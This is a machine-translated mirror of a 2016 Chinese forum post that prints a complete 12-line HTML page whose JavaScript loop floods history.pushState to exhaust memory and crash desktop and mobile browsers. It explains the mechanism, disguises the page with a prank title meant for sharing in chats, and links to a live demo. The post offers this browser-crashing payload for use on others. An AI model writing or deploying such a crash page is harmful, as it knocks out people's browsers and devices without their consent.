Тази статия е огледална статия за машинен превод, моля, кликнете тук, за да преминете към оригиналната статия.

Изглед: 13238|Отговор: 0

[HTML/HTML5] 12 реда HTML код на уеб страницата ще накарат компютъра ви да се срине и телефонът ви да се рестартира за минути

[Копирай линк]
Публикувано в 22.01.2016 г. 11:36:39 ч. | | | |
Причината за инцидента е следната – чуждестранен приятел от Cyber Security публикува такъв туит в Twitter:



Този човек твърди, че ако използваш горния 12-редов код на Javascrip{filter}t, можеш да сринеш браузърите Firefox, Chrome, Safari, а също така да накараш iPhone да се рестартира и да се срине Android телефонът!

Пълният HTML код е следният:

  1. <html>
  2. <head>
  3. <meta charset="utf-8">
  4. <title>谁点谁怀孕</title>
  5. </head>
  6.     <body>
  7. 恭喜你,你已经怀孕了!
  8. <scrip{过滤}t>
  9. var total="";
  10. for (var i=0;i<1000000;i++)
  11. {
  12.         total= total+i.toString();
  13.         history.pushState(0,0,total);
  14. }
  15. </scrip{过滤}t>
  16.     </body>
  17. </html>
Копирай код


Ако сте потребител на компютър, след като кликнете на линка, паметта на процесора на компютъра е много вероятно да скочи до момента, в който браузърът се срине и замръзне...

Ако сте мобилен потребител (Android, iPhone), браузърът ви ще се срине след като кликнете на линка! Кликването върху линка в Weibo и WeChat също ще се срине.


Защо се случва това? В тази връзка намерих отговор от бог на име "Xiaomi" в Жиху:

history.pushstate() е API, въведен от HTML5, pushState добавя определен URL към историята на браузъра и съхранява текущата точка на историята. Когато i<100000, общият брой се записва в историята на браузъра циклично и ако се повтаря твърде често, браузърът няма да може да го понесе и естествено ще се срине.

Е, както и да е, дори не мога да измисля "здравей, свят", така че изобщо не го разбирам... С две думи, това е точно както трябва да взриви небето!


Ако искате да го опитате, моля, кликнете тук:   http://www.itsvse.com/demo.html




Предишен:[Отворен код] Платформа за търсене на уязвимости Wooyun Source Code Plus Database asp.net версия
Следващ:Конфигуриране/конфигуриране/конфигуриране на Linux, правене, тестване/проверяване, sudo make in...
Отричане:
Целият софтуер, програмни материали или статии, публикувани от Code Farmer Network, са само за учебни и изследователски цели; Горното съдържание не трябва да се използва за търговски или незаконни цели, в противен случай потребителите ще понесат всички последствия. Информацията на този сайт идва от интернет, а споровете за авторски права нямат нищо общо с този сайт. Трябва напълно да изтриете горното съдържание от компютъра си в рамките на 24 часа след изтеглянето. Ако ви харесва програмата, моля, подкрепете оригинален софтуер, купете регистрация и получете по-добри услуги. Ако има нарушение, моля, свържете се с нас по имейл.

Mail To:help@itsvse.com